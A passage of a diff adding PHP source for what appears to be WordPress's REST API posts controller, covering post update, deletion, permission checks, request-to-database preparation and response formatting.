+			if ( is_wp_error( $meta_update ) ) {
+				return $meta_update;
+			}
+		}
+
+		$post = get_post( $post_id );
+		$fields_update = $this->update_additional_fields_for_object( $post, $request );
+
+		if ( is_wp_error( $fields_update ) ) {
+			return $fields_update;
+		}
+
+		$request->set_param( 'context', 'edit' );
+
+		/**
+		 * Fires after a single post is completely created or updated via the REST API.
+		 *
+		 * The dynamic portion of the hook name, `$this->post_type`, refers to the post type slug.
+		 *
+		 * @since 5.0.0
+		 *
+		 * @param WP_Post         $post     Inserted or updated post object.
+		 * @param WP_REST_Request $request  Request object.
+		 * @param bool            $creating True when creating a post, false when updating.
+		 */
+		do_action( "rest_after_insert_{$this->post_type}", $post, $request, true );
+
+		$response = $this->prepare_item_for_response( $post, $request );
+		$response = rest_ensure_response( $response );
+
+		$response->set_status( 201 );
+		$response->header( 'Location', rest_url( sprintf( '%s/%s/%d', $this->namespace, $this->rest_base, $post_id ) ) );
+
+		return $response;
+	}
+
+	/**
+	 * Checks if a given request has access to update a post.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return true|WP_Error True if the request has access to update the item, WP_Error object otherwise.
+	 */
+	public function update_item_permissions_check( $request ) {
+		$post = $this->get_post( $request['id'] );
+		if ( is_wp_error( $post ) ) {
+			return $post;
+		}
+
+		$post_type = get_post_type_object( $this->post_type );
+
+		if ( $post && ! $this->check_update_permission( $post ) ) {
+			return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to edit this post.' ), array( 'status' => rest_authorization_required_code() ) );
+		}
+
+		if ( ! empty( $request['author'] ) && get_current_user_id() !== $request['author'] && ! current_user_can( $post_type->cap->edit_others_posts ) ) {
+			return new WP_Error( 'rest_cannot_edit_others', __( 'Sorry, you are not allowed to update posts as this user.' ), array( 'status' => rest_authorization_required_code() ) );
+		}
+
+		if ( ! empty( $request['sticky'] ) && ! current_user_can( $post_type->cap->edit_others_posts ) && ! current_user_can( $post_type->cap->publish_posts ) ) {
+			return new WP_Error( 'rest_cannot_assign_sticky', __( 'Sorry, you are not allowed to make posts sticky.' ), array( 'status' => rest_authorization_required_code() ) );
+		}
+
+		if ( ! $this->check_assign_terms_permission( $request ) ) {
+			return new WP_Error( 'rest_cannot_assign_term', __( 'Sorry, you are not allowed to assign the provided terms.' ), array( 'status' => rest_authorization_required_code() ) );
+		}
+
+		return true;
+	}
+
+	/**
+	 * Updates a single post.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
+	 */
+	public function update_item( $request ) {
+		$valid_check = $this->get_post( $request['id'] );
+		if ( is_wp_error( $valid_check ) ) {
+			return $valid_check;
+		}
+
+		$post = $this->prepare_item_for_database( $request );
+
+		if ( is_wp_error( $post ) ) {
+			return $post;
+		}
+
+		// convert the post object to an array, otherwise wp_update_post will expect non-escaped input.
+		$post_id = wp_update_post( wp_slash( (array) $post ), true );
+
+		if ( is_wp_error( $post_id ) ) {
+			if ( 'db_update_error' === $post_id->get_error_code() ) {
+				$post_id->add_data( array( 'status' => 500 ) );
+			} else {
+				$post_id->add_data( array( 'status' => 400 ) );
+			}
+			return $post_id;
+		}
+
+		$post = get_post( $post_id );
+
+		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php */
+		do_action( "rest_insert_{$this->post_type}", $post, $request, false );
+
+		$schema = $this->get_item_schema();
+
+		if ( ! empty( $schema['properties']['format'] ) && ! empty( $request['format'] ) ) {
+			set_post_format( $post, $request['format'] );
+		}
+
+		if ( ! empty( $schema['properties']['featured_media'] ) && isset( $request['featured_media'] ) ) {
+			$this->handle_featured_media( $request['featured_media'], $post_id );
+		}
+
+		if ( ! empty( $schema['properties']['sticky'] ) && isset( $request['sticky'] ) ) {
+			if ( ! empty( $request['sticky'] ) ) {
+				stick_post( $post_id );
+			} else {
+				unstick_post( $post_id );
+			}
+		}
+
+		if ( ! empty( $schema['properties']['template'] ) && isset( $request['template'] ) ) {
+			$this->handle_template( $request['template'], $post->ID );
+		}
+
+		$terms_update = $this->handle_terms( $post->ID, $request );
+
+		if ( is_wp_error( $terms_update ) ) {
+			return $terms_update;
+		}
+
+		if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
+			$meta_update = $this->meta->update_value( $request['meta'], $post->ID );
+
+			if ( is_wp_error( $meta_update ) ) {
+				return $meta_update;
+			}
+		}
+
+		$post = get_post( $post_id );
+		$fields_update = $this->update_additional_fields_for_object( $post, $request );
+
+		if ( is_wp_error( $fields_update ) ) {
+			return $fields_update;
+		}
+
+		$request->set_param( 'context', 'edit' );
+
+		// Filter is fired in WP_REST_Attachments_Controller subclass.
+		if ( 'attachment' === $this->post_type ) {
+			$response = $this->prepare_item_for_response( $post, $request );
+			return rest_ensure_response( $response );
+		}
+
+		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php */
+		do_action( "rest_after_insert_{$this->post_type}", $post, $request, false );
+
+		$response = $this->prepare_item_for_response( $post, $request );
+
+		return rest_ensure_response( $response );
+	}
+
+	/**
+	 * Checks if a given request has access to delete a post.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise.
+	 */
+	public function delete_item_permissions_check( $request ) {
+		$post = $this->get_post( $request['id'] );
+		if ( is_wp_error( $post ) ) {
+			return $post;
+		}
+
+		if ( $post && ! $this->check_delete_permission( $post ) ) {
+			return new WP_Error( 'rest_cannot_delete', __( 'Sorry, you are not allowed to delete this post.' ), array( 'status' => rest_authorization_required_code() ) );
+		}
+
+		return true;
+	}
+
+	/**
+	 * Deletes a single post.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
+	 */
+	public function delete_item( $request ) {
+		$post = $this->get_post( $request['id'] );
+		if ( is_wp_error( $post ) ) {
+			return $post;
+		}
+
+		$id    = $post->ID;
+		$force = (bool) $request['force'];
+
+		$supports_trash = ( EMPTY_TRASH_DAYS > 0 );
+
+		if ( 'attachment' === $post->post_type ) {
+			$supports_trash = $supports_trash && MEDIA_TRASH;
+		}
+
+		/**
+		 * Filters whether a post is trashable.
+		 *
+		 * The dynamic portion of the hook name, `$this->post_type`, refers to the post type slug.
+		 *
+		 * Pass false to disable trash support for the post.
+		 *
+		 * @since 4.7.0
+		 *
+		 * @param bool    $supports_trash Whether the post type support trashing.
+		 * @param WP_Post $post           The Post object being considered for trashing support.
+		 */
+		$supports_trash = apply_filters( "rest_{$this->post_type}_trashable", $supports_trash, $post );
+
+		if ( ! $this->check_delete_permission( $post ) ) {
+			return new WP_Error( 'rest_user_cannot_delete_post', __( 'Sorry, you are not allowed to delete this post.' ), array( 'status' => rest_authorization_required_code() ) );
+		}
+
+		$request->set_param( 'context', 'edit' );
+
+
+		// If we're forcing, then delete permanently.
+		if ( $force ) {
+			$previous = $this->prepare_item_for_response( $post, $request );
+			$result = wp_delete_post( $id, true );
+			$response = new WP_REST_Response();
+			$response->set_data( array( 'deleted' => true, 'previous' => $previous->get_data() ) );
+		} else {
+			// If we don't support trashing for this type, error out.
+			if ( ! $supports_trash ) {
+				/* translators: %s: force=true */
+				return new WP_Error( 'rest_trash_not_supported', sprintf( __( "The post does not support trashing. Set '%s' to delete." ), 'force=true' ), array( 'status' => 501 ) );
+			}
+
+			// Otherwise, only trash if we haven't already.
+			if ( 'trash' === $post->post_status ) {
+				return new WP_Error( 'rest_already_trashed', __( 'The post has already been deleted.' ), array( 'status' => 410 ) );
+			}
+
+			// (Note that internally this falls through to `wp_delete_post` if
+			// the trash is disabled.)
+			$result = wp_trash_post( $id );
+			$post = get_post( $id );
+			$response = $this->prepare_item_for_response( $post, $request );
+		}
+
+		if ( ! $result ) {
+			return new WP_Error( 'rest_cannot_delete', __( 'The post cannot be deleted.' ), array( 'status' => 500 ) );
+		}
+
+		/**
+		 * Fires immediately after a single post is deleted or trashed via the REST API.
+		 *
+		 * They dynamic portion of the hook name, `$this->post_type`, refers to the post type slug.
+		 *
+		 * @since 4.7.0
+		 *
+		 * @param object           $post     The deleted or trashed post.
+		 * @param WP_REST_Response $response The response data.
+		 * @param WP_REST_Request  $request  The request sent to the API.
+		 */
+		do_action( "rest_delete_{$this->post_type}", $post, $response, $request );
+
+		return $response;
+	}
+
+	/**
+	 * Determines the allowed query_vars for a get_items() response and prepares
+	 * them for WP_Query.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param array           $prepared_args Optional. Prepared WP_Query arguments. Default empty array.
+	 * @param WP_REST_Request $request       Optional. Full details about the request.
+	 * @return array Items query arguments.
+	 */
+	protected function prepare_items_query( $prepared_args = array(), $request = null ) {
+		$query_args = array();
+
+		foreach ( $prepared_args as $key => $value ) {
+			/**
+			 * Filters the query_vars used in get_items() for the constructed query.
+			 *
+			 * The dynamic portion of the hook name, `$key`, refers to the query_var key.
+			 *
+			 * @since 4.7.0
+			 *
+			 * @param string $value The query_var value.
+			 */
+			$query_args[ $key ] = apply_filters( "rest_query_var-{$key}", $value ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
+		}
+
+		if ( 'post' !== $this->post_type || ! isset( $query_args['ignore_sticky_posts'] ) ) {
+			$query_args['ignore_sticky_posts'] = true;
+		}
+
+		// Map to proper WP_Query orderby param.
+		if ( isset( $query_args['orderby'] ) && isset( $request['orderby'] ) ) {
+			$orderby_mappings = array(
+				'id'            => 'ID',
+				'include'       => 'post__in',
+				'slug'          => 'post_name',
+				'include_slugs' => 'post_name__in',
+			);
+
+			if ( isset( $orderby_mappings[ $request['orderby'] ] ) ) {
+				$query_args['orderby'] = $orderby_mappings[ $request['orderby'] ];
+			}
+		}
+
+		return $query_args;
+	}
+
+	/**
+	 * Checks the post_date_gmt or modified_gmt and prepare any post or
+	 * modified date for single post output.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param string      $date_gmt GMT publication time.
+	 * @param string|null $date     Optional. Local publication time. Default null.
+	 * @return string|null ISO8601/RFC3339 formatted datetime.
+	 */
+	protected function prepare_date_response( $date_gmt, $date = null ) {
+		// Use the date if passed.
+		if ( isset( $date ) ) {
+			return mysql_to_rfc3339( $date );
+		}
+
+		// Return null if $date_gmt is empty/zeros.
+		if ( '0000-00-00 00:00:00' === $date_gmt ) {
+			return null;
+		}
+
+		// Return the formatted datetime.
+		return mysql_to_rfc3339( $date_gmt );
+	}
+
+	/**
+	 * Prepares a single post for create or update.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Request object.
+	 * @return stdClass|WP_Error Post object or WP_Error.
+	 */
+	protected function prepare_item_for_database( $request ) {
+		$prepared_post = new stdClass();
+
+		// Post ID.
+		if ( isset( $request['id'] ) ) {
+			$existing_post = $this->get_post( $request['id'] );
+			if ( is_wp_error( $existing_post ) ) {
+				return $existing_post;
+			}
+
+			$prepared_post->ID = $existing_post->ID;
+		}
+
+		$schema = $this->get_item_schema();
+
+		// Post title.
+		if ( ! empty( $schema['properties']['title'] ) && isset( $request['title'] ) ) {
+			if ( is_string( $request['title'] ) ) {
+				$prepared_post->post_title = $request['title'];
+			} elseif ( ! empty( $request['title']['raw'] ) ) {
+				$prepared_post->post_title = $request['title']['raw'];
+			}
+		}
+
+		// Post content.
+		if ( ! empty( $schema['properties']['content'] ) && isset( $request['content'] ) ) {
+			if ( is_string( $request['content'] ) ) {
+				$prepared_post->post_content = $request['content'];
+			} elseif ( isset( $request['content']['raw'] ) ) {
+				$prepared_post->post_content = $request['content']['raw'];
+			}
+		}
+
+		// Post excerpt.
+		if ( ! empty( $schema['properties']['excerpt'] ) && isset( $request['excerpt'] ) ) {
+			if ( is_string( $request['excerpt'] ) ) {
+				$prepared_post->post_excerpt = $request['excerpt'];
+			} elseif ( isset( $request['excerpt']['raw'] ) ) {
+				$prepared_post->post_excerpt = $request['excerpt']['raw'];
+			}
+		}
+
+		// Post type.
+		if ( empty( $request['id'] ) ) {
+			// Creating new post, use default type for the controller.
+			$prepared_post->post_type = $this->post_type;
+		} else {
+			// Updating a post, use previous type.
+			$prepared_post->post_type = get_post_type( $request['id'] );
+		}
+
+		$post_type = get_post_type_object( $prepared_post->post_type );
+
+		// Post status.
+		if ( ! empty( $schema['properties']['status'] ) && isset( $request['status'] ) ) {
+			$status = $this->handle_status_param( $request['status'], $post_type );
+
+			if ( is_wp_error( $status ) ) {
+				return $status;
+			}
+
+			$prepared_post->post_status = $status;
+		}
+
+		// Post date.
+		if ( ! empty( $schema['properties']['date'] ) && ! empty( $request['date'] ) ) {
+			$date_data = rest_get_date_with_gmt( $request['date'] );
+
+			if ( ! empty( $date_data ) ) {
+				list( $prepared_post->post_date, $prepared_post->post_date_gmt ) = $date_data;
+				$prepared_post->edit_date = true;
+			}
+		} elseif ( ! empty( $schema['properties']['date_gmt'] ) && ! empty( $request['date_gmt'] ) ) {
+			$date_data = rest_get_date_with_gmt( $request['date_gmt'], true );
+
+			if ( ! empty( $date_data ) ) {
+				list( $prepared_post->post_date, $prepared_post->post_date_gmt ) = $date_data;
+				$prepared_post->edit_date = true;
+			}
+		}
+
+		// Post slug.
+		if ( ! empty( $schema['properties']['slug'] ) && isset( $request['slug'] ) ) {
+			$prepared_post->post_name = $request['slug'];
+		}
+
+		// Author.
+		if ( ! empty( $schema['properties']['author'] ) && ! empty( $request['author'] ) ) {
+			$post_author = (int) $request['author'];
+
+			if ( get_current_user_id() !== $post_author ) {
+				$user_obj = get_userdata( $post_author );
+
+				if ( ! $user_obj ) {
+					return new WP_Error( 'rest_invalid_author', __( 'Invalid author ID.' ), array( 'status' => 400 ) );
+				}
+			}
+
+			$prepared_post->post_author = $post_author;
+		}
+
+		// Post password.
+		if ( ! empty( $schema['properties']['password'] ) && isset( $request['password'] ) ) {
+			$prepared_post->post_password = $request['password'];
+
+			if ( '' !== $request['password'] ) {
+				if ( ! empty( $schema['properties']['sticky'] ) && ! empty( $request['sticky'] ) ) {
+					return new WP_Error( 'rest_invalid_field', __( 'A post can not be sticky and have a password.' ), array( 'status' => 400 ) );
+				}
+
+				if ( ! empty( $prepared_post->ID ) && is_sticky( $prepared_post->ID ) ) {
+					return new WP_Error( 'rest_invalid_field', __( 'A sticky post can not be password protected.' ), array( 'status' => 400 ) );
+				}
+			}
+		}
+
+		if ( ! empty( $schema['properties']['sticky'] ) && ! empty( $request['sticky'] ) ) {
+			if ( ! empty( $prepared_post->ID ) && post_password_required( $prepared_post->ID ) ) {
+				return new WP_Error( 'rest_invalid_field', __( 'A password protected post can not be set to sticky.' ), array( 'status' => 400 ) );
+			}
+		}
+
+		// Parent.
+		if ( ! empty( $schema['properties']['parent'] ) && isset( $request['parent'] ) ) {
+			if ( 0 === (int) $request['parent'] ) {
+				$prepared_post->post_parent = 0;
+			} else {
+				$parent = get_post( (int) $request['parent'] );
+				if ( empty( $parent ) ) {
+					return new WP_Error( 'rest_post_invalid_id', __( 'Invalid post parent ID.' ), array( 'status' => 400 ) );
+				}
+				$prepared_post->post_parent = (int) $parent->ID;
+			}
+		}
+
+		// Menu order.
+		if ( ! empty( $schema['properties']['menu_order'] ) && isset( $request['menu_order'] ) ) {
+			$prepared_post->menu_order = (int) $request['menu_order'];
+		}
+
+		// Comment status.
+		if ( ! empty( $schema['properties']['comment_status'] ) && ! empty( $request['comment_status'] ) ) {
+			$prepared_post->comment_status = $request['comment_status'];
+		}
+
+		// Ping status.
+		if ( ! empty( $schema['properties']['ping_status'] ) && ! empty( $request['ping_status'] ) ) {
+			$prepared_post->ping_status = $request['ping_status'];
+		}
+
+		if ( ! empty( $schema['properties']['template'] ) ) {
+			// Force template to null so that it can be handled exclusively by the REST controller.
+			$prepared_post->page_template = null;
+		}
+
+		/**
+		 * Filters a post before it is inserted via the REST API.
+		 *
+		 * The dynamic portion of the hook name, `$this->post_type`, refers to the post type slug.
+		 *
+		 * @since 4.7.0
+		 *
+		 * @param stdClass        $prepared_post An object representing a single post prepared
+		 *                                       for inserting or updating the database.
+		 * @param WP_REST_Request $request       Request object.
+		 */
+		return apply_filters( "rest_pre_insert_{$this->post_type}", $prepared_post, $request );
+
+	}
+
+	/**
+	 * Determines validity and normalizes the given status parameter.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param string $post_status Post status.
+	 * @param object $post_type   Post type.
+	 * @return string|WP_Error Post status or WP_Error if lacking the proper permission.
+	 */
+	protected function handle_status_param( $post_status, $post_type ) {
+
+		switch ( $post_status ) {
+			case 'draft':
+			case 'pending':
+				break;
+			case 'private':
+				if ( ! current_user_can( $post_type->cap->publish_posts ) ) {
+					return new WP_Error( 'rest_cannot_publish', __( 'Sorry, you are not allowed to create private posts in this post type.' ), array( 'status' => rest_authorization_required_code() ) );
+				}
+				break;
+			case 'publish':
+			case 'future':
+				if ( ! current_user_can( $post_type->cap->publish_posts ) ) {
+					return new WP_Error( 'rest_cannot_publish', __( 'Sorry, you are not allowed to publish posts in this post type.' ), array( 'status' => rest_authorization_required_code() ) );
+				}
+				break;
+			default:
+				if ( ! get_post_status_object( $post_status ) ) {
+					$post_status = 'draft';
+				}
+				break;
+		}
+
+		return $post_status;
+	}
+
+	/**
+	 * Determines the featured media based on a request param.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param int $featured_media Featured Media ID.
+	 * @param int $post_id        Post ID.
+	 * @return bool|WP_Error Whether the post thumbnail was successfully deleted, otherwise WP_Error.
+	 */
+	protected function handle_featured_media( $featured_media, $post_id ) {
+
+		$featured_media = (int) $featured_media;
+		if ( $featured_media ) {
+			$result = set_post_thumbnail( $post_id, $featured_media );
+			if ( $result ) {
+				return true;
+			} else {
+				return new WP_Error( 'rest_invalid_featured_media', __( 'Invalid featured media ID.' ), array( 'status' => 400 ) );
+			}
+		} else {
+			return delete_post_thumbnail( $post_id );
+		}
+
+	}
+
+	/**
+	 * Check whether the template is valid for the given post.
+	 *
+	 * @since 4.9.0
+	 *
+	 * @param string          $template Page template filename.
+	 * @param WP_REST_Request $request  Request.
+	 * @return bool|WP_Error True if template is still valid or if the same as existing value, or false if template not supported.
+	 */
+	public function check_template( $template, $request ) {
+
+		if ( ! $template ) {
+			return true;
+		}
+
+		if ( $request['id'] ) {
+			$current_template = get_page_template_slug( $request['id'] );
+		} else {
+			$current_template = '';
+		}
+
+		// Always allow for updating a post to the same template, even if that template is no longer supported.
+		if ( $template === $current_template ) {
+			return true;
+		}
+
+		// If this is a create request, get_post() will return null and wp theme will fallback to the passed post type.
+		$allowed_templates = wp_get_theme()->get_page_templates( get_post( $request['id'] ), $this->post_type );
+
+		if ( isset( $allowed_templates[ $template ] ) ) {
+			return true;
+		}
+
+		/* translators: 1: parameter, 2: list of valid values */
+		return new WP_Error( 'rest_invalid_param', sprintf( __( '%1$s is not one of %2$s.' ), 'template', implode( ', ', array_keys( $allowed_templates ) ) ) );
+	}
+
+	/**
+	 * Sets the template for a post.
+	 *
+	 * @since 4.7.0
+	 * @since 4.9.0 Introduced the $validate parameter.
+	 *
+	 * @param string  $template Page template filename.
+	 * @param integer $post_id  Post ID.
+	 * @param bool    $validate Whether to validate that the template selected is valid.
+	 */
+	public function handle_template( $template, $post_id, $validate = false ) {
+
+		if ( $validate && ! array_key_exists( $template, wp_get_theme()->get_page_templates( get_post( $post_id ) ) ) ) {
+			$template = '';
+		}
+
+		update_post_meta( $post_id, '_wp_page_template', $template );
+	}
+
+	/**
+	 * Updates the post's terms from a REST request.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param int             $post_id The post ID to update the terms form.
+	 * @param WP_REST_Request $request The request object with post and terms data.
+	 * @return null|WP_Error WP_Error on an error assigning any of the terms, otherwise null.
+	 */
+	protected function handle_terms( $post_id, $request ) {
+		$taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) );
+
+		foreach ( $taxonomies as $taxonomy ) {
+			$base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name;
+
+			if ( ! isset( $request[ $base ] ) ) {
+				continue;
+			}
+
+			$result = wp_set_object_terms( $post_id, $request[ $base ], $taxonomy->name );
+
+			if ( is_wp_error( $result ) ) {
+				return $result;
+			}
+		}
+	}
+
+	/**
+	 * Checks whether current user can assign all terms sent with the current request.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request The request object with post and terms data.
+	 * @return bool Whether the current user can assign the provided terms.
+	 */
+	protected function check_assign_terms_permission( $request ) {
+		$taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) );
+		foreach ( $taxonomies as $taxonomy ) {
+			$base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name;
+
+			if ( ! isset( $request[ $base ] ) ) {
+				continue;
+			}
+
+			foreach ( $request[ $base ] as $term_id ) {
+				// Invalid terms will be rejected later.
+				if ( ! get_term( $term_id, $taxonomy->name ) ) {
+					continue;
+				}
+
+				if ( ! current_user_can( 'assign_term', (int) $term_id ) ) {
+					return false;
+				}
+			}
+		}
+
+		return true;
+	}
+
+	/**
+	 * Checks if a given post type can be viewed or managed.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param object|string $post_type Post type name or object.
+	 * @return bool Whether the post type is allowed in REST.
+	 */
+	protected function check_is_post_type_allowed( $post_type ) {
+		if ( ! is_object( $post_type ) ) {
+			$post_type = get_post_type_object( $post_type );
+		}
+
+		if ( ! empty( $post_type ) && ! empty( $post_type->show_in_rest ) ) {
+			return true;
+		}
+
+		return false;
+	}
+
+	/**
+	 * Checks if a post can be read.
+	 *
+	 * Correctly handles posts with the inherit status.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param object $post Post object.
+	 * @return bool Whether the post can be read.
+	 */
+	public function check_read_permission( $post ) {
+		$post_type = get_post_type_object( $post->post_type );
+		if ( ! $this->check_is_post_type_allowed( $post_type ) ) {
+			return false;
+		}
+
+		// Is the post readable?
+		if ( 'publish' === $post->post_status || current_user_can( $post_type->cap->read_post, $post->ID ) ) {
+			return true;
+		}
+
+		$post_status_obj = get_post_status_object( $post->post_status );
+		if ( $post_status_obj && $post_status_obj->public ) {
+			return true;
+		}
+
+		// Can we read the parent if we're inheriting?
+		if ( 'inherit' === $post->post_status && $post->post_parent > 0 ) {
+			$parent = get_post( $post->post_parent );
+			if ( $parent ) {
+				return $this->check_read_permission( $parent );
+			}
+		}
+
+		/*
+		 * If there isn't a parent, but the status is set to inherit, assume
+		 * it's published (as per get_post_status()).
+		 */
+		if ( 'inherit' === $post->post_status ) {
+			return true;
+		}
+
+		return false;
+	}
+
+	/**
+	 * Checks if a post can be edited.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param object $post Post object.
+	 * @return bool Whether the post can be edited.
+	 */
+	protected function check_update_permission( $post ) {
+		$post_type = get_post_type_object( $post->post_type );
+
+		if ( ! $this->check_is_post_type_allowed( $post_type ) ) {
+			return false;
+		}
+
+		return current_user_can( $post_type->cap->edit_post, $post->ID );
+	}
+
+	/**
+	 * Checks if a post can be created.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param object $post Post object.
+	 * @return bool Whether the post can be created.
+	 */
+	protected function check_create_permission( $post ) {
+		$post_type = get_post_type_object( $post->post_type );
+
+		if ( ! $this->check_is_post_type_allowed( $post_type ) ) {
+			return false;
+		}
+
+		return current_user_can( $post_type->cap->create_posts );
+	}
+
+	/**
+	 * Checks if a post can be deleted.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param object $post Post object.
+	 * @return bool Whether the post can be deleted.
+	 */
+	protected function check_delete_permission( $post ) {
+		$post_type = get_post_type_object( $post->post_type );
+
+		if ( ! $this->check_is_post_type_allowed( $post_type ) ) {
+			return false;
+		}
+
+		return current_user_can( $post_type->cap->delete_post, $post->ID );
+	}
+
+	/**
+	 * Prepares a single post output for response.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_Post         $post    Post object.
+	 * @param WP_REST_Request $request Request object.
+	 * @return WP_REST_Response Response object.
+	 */
+	public function prepare_item_for_response( $post, $request ) {
+		$GLOBALS['post'] = $post;
+
+		setup_postdata( $post );
+
+		$fields = $this->get_fields_for_response( $request );
+
+		// Base fields for every post.
+		$data = array();
+
+		if ( in_array( 'id', $fields, true ) ) {
+			$data['id'] = $post->ID;
+		}
+
+		if ( in_array( 'date', $fields, true ) ) {
+			$data['date'] = $this->prepare_date_response( $post->post_date_gmt, $post->post_date );
+		}
+
+		if ( in_array( 'date_gmt', $fields, true ) ) {
+			// For drafts, `post_date_gmt` may not be set, indicating that the
+			// date of the draft should be updated each time it is saved (see
+			// #38883).  In this case, shim the value based on the `post_date`
+			// field with the site's timezone offset applied.
+			if ( '0000-00-00 00:00:00' === $post->post_date_gmt ) {
+				$post_date_gmt = get_gmt_from_date( $post->post_date );
+			} else {
+				$post_date_gmt = $post->post_date_gmt;
+			}
+			$data['date_gmt'] = $this->prepare_date_response( $post_date_gmt );
+		}
+
+		if ( in_array( 'guid', $fields, true ) ) {
+			$data['guid'] = array(
+				/** This filter is documented in wp-includes/post-template.php */
+				'rendered' => apply_filters( 'get_the_guid', $post->guid, $post->ID ),
+				'raw'      => $post->guid,
+			);
+		}
+
+		if ( in_array( 'modified', $fields, true ) ) {
+			$data['modified'] = $this->prepare_date_response( $post->post_modified_gmt, $post->post_modified );
+		}
+
+		if ( in_array( 'modified_gmt', $fields, true ) ) {
+			// For drafts, `post_modified_gmt` may not be set (see
+			// `post_date_gmt` comments above).  In this case, shim the value
+			// based on the `post_modified` field with the site's timezone
+			// offset applied.
+			if ( '0000-00-00 00:00:00' === $post->post_modified_gmt ) {
+				$post_modified_gmt = date( 'Y-m-d H:i:s', strtotime( $post->post_modified ) - ( get_option( 'gmt_offset' ) * 3600 ) );
+			} else {
+				$post_modified_gmt = $post->post_modified_gmt;
+			}
+			$data['modified_gmt'] = $this->prepare_date_response( $post_modified_gmt );
+		}
+
+		if ( in_array( 'password', $fields, true ) ) {
+			$data['password'] = $post->post_password;
+		}
+
+		if ( in_array( 'slug', $fields, true ) ) {
+			$data['slug'] = $post->post_name;
+		}
+
+		if ( in_array( 'status', $fields, true ) ) {
+			$data['status'] = $post->post_status;
+		}
+
+		if ( in_array( 'type', $fields, true ) ) {
+			$data['type'] = $post->post_type;
+		}
+
+		if ( in_array( 'link', $fields, true ) ) {
+			$data['link'] = get_permalink( $post->ID );
+		}
+
+		if ( in_array( 'title', $fields, true ) ) {
+			add_filter( 'protected_title_format', array( $this, 'protected_title_format' ) );
+
+			$data['title'] = array(
+				'raw'      => $post->post_title,
+				'rendered' => get_the_title( $post->ID ),
+			);
+
+			remove_filter( 'protected_title_format', array( $this, 'protected_title_format' ) );
+		}
+
+		$has_password_filter = false;
+
+		if ( $this->can_access_password_content( $post, $request ) ) {
+			$this->password_check_passed[ $post->ID ] = true;
+			// Allow access to the post, permissions already checked before.
+			add_filter( 'post_password_required', array( $this, 'check_password_required' ), 10, 2 );
+
+			$has_password_filter = true;
+		}
+
+		if ( in_array( 'content', $fields, true ) ) {
+			$data['content'] = array(
+				'raw'           => $post->post_content,
+				/** This filter is documented in wp-includes/post-template.php */
+				'rendered'      => post_password_required( $post ) ? '' : apply_filters( 'the_content', $post->post_content ),
+				'protected'     => (bool) $post->post_password,
+				'block_version' => block_version( $post->post_content ),
+			);
+		}
+
+		if ( in_array( 'excerpt', $fields, true ) ) {
+			/** This filter is documented in wp-includes/post-template.php */
+			$excerpt = apply_filters( 'the_excerpt', apply_filters( 'get_the_excerpt', $post->post_excerpt, $post ) );
+			$data['excerpt'] = array(
+				'raw'       => $post->post_excerpt,
+				'rendered'  => post_password_required( $post ) ? '' : $excerpt,
+				'protected' => (bool) $post->post_password,
+			);
+		}
+
+		if ( $has_password_filter ) {
+			// Reset filter.
+			remove_filter( 'post_password_required', array( $this, 'check_password_required' ) );
+		}
+
+		if ( in_array( 'author', $fields, true ) ) {
+			$data['author'] = (int) $post->post_author;
+		}
+
+		if ( in_array( 'featured_media', $fields, true ) ) {
+			$data['featured_media'] = (int) get_post_thumbnail_id( $post->ID );
+		}
+
+		if ( in_array( 'parent', $fields, true ) ) {
+			$data['parent'] = (int) $post->post_parent;
+		}
+
+		if ( in_array( 'menu_order', $fields, true ) ) {
+			$data['menu_order'] = (int) $post->menu_order;
+		}
+
+		if ( in_array( 'comment_status', $fields, true ) ) {
+			$data['comment_status'] = $post->comment_status;
+		}
+
+		if ( in_array( 'ping_status', $fields, true ) ) {
+			$data['ping_status'] = $post->ping_status;
+		}
+
+		if ( in_array( 'sticky', $fields, true ) ) {
+			$data['sticky'] = is_sticky( $post->ID );
+		}
+
+		if ( in_array( 'template', $fields, true ) ) {
+			if ( $template = get_page_template_slug( $post->ID ) ) {
+				$data['template'] = $template;
+			} else {
+				$data['template'] = '';
+			}
+		}
+
+		if ( in_array( 'format', $fields, true ) ) {
+			$data['format'] = get_post_format( $post->ID );
+
+			// Fill in blank post format.
+			if ( empty( $data['format'] ) ) {
+				$data['format'] = 'standard';
+			}
+		}
+
+		if ( in_array( 'meta', $fields, true ) ) {
+			$data['meta'] = $this->meta->get_value( $post->ID, $request );
+		}
+
+		$taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) );
+
+		foreach ( $taxonomies as $taxonomy ) {
+			$base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name;
+
+			if ( in_array( $base, $fields, true ) ) {
